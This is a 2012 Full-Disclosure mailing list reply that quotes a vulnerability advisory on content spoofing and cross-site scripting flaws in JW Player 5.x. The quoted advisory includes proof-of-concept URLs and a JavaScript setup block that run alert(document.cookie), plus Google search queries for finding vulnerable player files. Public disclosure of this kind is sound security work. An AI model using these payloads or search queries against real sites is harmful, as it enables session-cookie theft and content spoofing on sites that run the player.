Date: Wed, 6 Jun 2012 23:53:18 +0530
From: karniv0re <karniv0re@...l.co.in>
To: MustLive <mustlive@...security.com.ua>
Cc: full-disclosure@...ts.grok.org.uk, submissions@...ketstormsecurity.org
Subject: Re: Vulnerabilities in JW Player and millions of
 web sites

Honestly, why don't you allow the developer/vendor to fix the issues before
you "disclose at your site"?

Regards,
karniv0re

On Wed, Jun 6, 2012 at 10:36 PM, MustLive <mustlive@...security.com.ua>wrote:

> Hello list!
>
> I want to warn you about security vulnerabilities in JW Player.
>
> These are Content Spoofing and Cross-Site Scripting vulnerabilities.
>
> -------------------------
> Affected products:
> -------------------------
>
> Vulnerable are JW Player 5.9.2156 (and 5.9.2206, except one vulnerability)
> and previous versions. Tested in 5.7.1896, 5.9.2156 and 5.9.2206. Only some
> of these vulnerabilities exist in 3.x and previous versions.
>
> In version 5.9.2206 developers have fixed first XSS hole from
> bellow-mentioned.
>
> ----------
> Details:
> ----------
>
> Content Spoofing (WASC-12):
>
> In parameter file there can be set as video, as audio files.
>
> Swf-file of JW Player accepts arbitrary addresses in parameters file and
> image, which allows to spoof content of flash - i.e. by setting addresses
> of
> video (audio) and/or image files from other site.
>
> http://
> http://site/jwplayer.swf?file=1.flv&backcolor=0xFFFFFF&screencolor=0xFFFFFF
> http://http://site/jwplayer.swf?file=1.flv&image=1.jpg
>
> Swf-file of JW Player accepts arbitrary addresses in parameter config,
> which
> allows to spoof content of flash - i.e. by setting address of config file
> from other site (parameters file and image in xml-file accept arbitrary
> addresses). For loading of config file from other site it needs to have
> crossdomain.xml.
>
> http://http://site/jwplayer.swf?config=1.xml
>
> 1.xml
>
> <config>
>  <file>1.flv</file>
>  <image>1.jpg</image>
> </config>
>
> Swf-file of JW Player accepts arbitrary addresses in parameter
> playlistfile,
> which allows to spoof content of flash - i.e. by setting address of
> playlist
> file from other site (parameters media:content and media:thumbnail in
> xml-file accept arbitrary addresses). For loading of playlist file from
> other site it needs to have crossdomain.xml.
>
> http://http://site/jwplayer.swf?playlistfile=1.rss
> http://
> http://site/jwplayer.swf?playlistfile=1.rss&playlist.position=right&playlist.size=200
>
> 1.rss
>
> <rss version="2.0" xmlns:media="http://search.yahoo.com/mrss/">
>  <channel>
>    <title>Example playlist</title>
>    <item>
>      <title>Video #1</title>
>      <description>First video.</description>
>      <media:content url="1.flv" duration="5" />
>      <media:thumbnail url="1.jpg" />
>    </item>
>    <item>
>      <title>Video #2</title>
>      <description>Second video.</description>
>      <media:content url="2.flv" duration="5" />
>      <media:thumbnail url="2.jpg" />
>    </item>
>  </channel>
> </rss>
>
> XSS (WASC-08):
>
> http://http://site/jwplayer.swf?playerready=alert(document.cookie)
>
> XSS (WASC-08):
>
> If at the site at page with jwplayer.swf (player.swf) there is possibility
> (via HTML Injection) to include JS code with callback-function, and there
> are 19 such functions in total, then it's possible to conduct XSS attack.
> I.e. JS-callbacks can be used for XSS attack.
>
> Example of exploit:
>
> <script type="text/javascript" src="jwplayer.js"></script>
> <div id="container">...</div>
> <script type="text/javascript">
> jwplayer("container").setup({
> flashplayer: "jwplayer.swf",
> file: "1.flv",
> autostart: true,
> height: 300,
> width: 480,
> events: {
> onReady: function() { alert(document.cookie); },
> onComplete: function() { alert(document.cookie); },
> onBufferChange: function() { alert(document.cookie); },
> onBufferFull: function() { alert(document.cookie); },
> onError: function() { alert(document.cookie); },
> onFullscreen: function() { alert(document.cookie); },
> onMeta: function() { alert(document.cookie); },
> onMute: function() { alert(document.cookie); },
> onPlaylist: function() { alert(document.cookie); },
> onPlaylistItem: function() { alert(document.cookie); },
> onResize: function() { alert(document.cookie); },
> onBeforePlay: function() { alert(document.cookie); },
> onPlay: function() { alert(document.cookie); },
> onPause: function() { alert(document.cookie); },
> onBuffer: function() { alert(document.cookie); },
> onSeek: function() { alert(document.cookie); },
> onIdle: function() { alert(document.cookie); },
> onTime: function() { alert(document.cookie); },
> onVolume: function() { alert(document.cookie); }
> }
> });
> </script>
>
> There is such feature as logo in licensed version of the player. So in
> licensed versions of swf-file there are also the next vulnerabilities:
>
> Content Spoofing (WASC-12):
>
> http://
> http://site/jwplayer.swf?file=1.flv&logo.file=1.jpg&logo.link=http://websecurity.com.ua
>
> XSS (WASC-08):
>
> http://
> http://site/jwplayer.swf?file=1.flv&logo.file=1.jpg&logo.link=javascript:alert(document.cookie)
>
> Widespread of vulnerabilities.
>
> Swf-files of JW Player can have different names, such as jwplayer.swf and
> player.swf.
>
> http://www.google.com.ua/search?q=inurl%3Ajwplayer.swf+filetype%3Aswf
> http://www.google.com.ua/search?q=inurl%3Aplayer.swf+filetype%3Aswf
>
> By Google's information, there are 99600 + 7610000 = 7709600 (in May) of
> such flash files in Internet. This is approximate data and not all of the
> player.swf are swf-files of JW Player, but taking into account that this is
> very popular flash application, which is used as standalone, as a part of
> different web applications (CMS), and Google could indexed only 10% of its
> swf-files, then we receive tens millions of vulnerable swf-files of JW
> Player in Internet.
>
> ------------
> Timeline:
> ------------
>
> 2012.05.25 - found vulnerabilities during pentest (in version 5.7.1896 and
> tested in the last version from official site). Some of CS vulnerabilities
> had existed in 3.x version of the player and I knew about them since 2008,
> when first time saw JW Player.
> 2012.05.28 - announced at my site.
> 2012.05.29 - informed developers.
> 2012.05.29 - developers answered that most holes should be fixed in version
> 5.9.2206 (in trunk).
> 2012.05.31 - after checking, I've informed developers that in trunk only
> one
> XSS are fixed. Then they answered that they were planning to fix all other
> vulnerabilities in upcoming 6.0 version of the player.
> 2012.06.06 - disclosed at my site (http://websecurity.com.ua/5848/).
>
> Best wishes & regards,
> MustLive
> Administrator of Websecurity web site
> http://websecurity.com.ua
>
>
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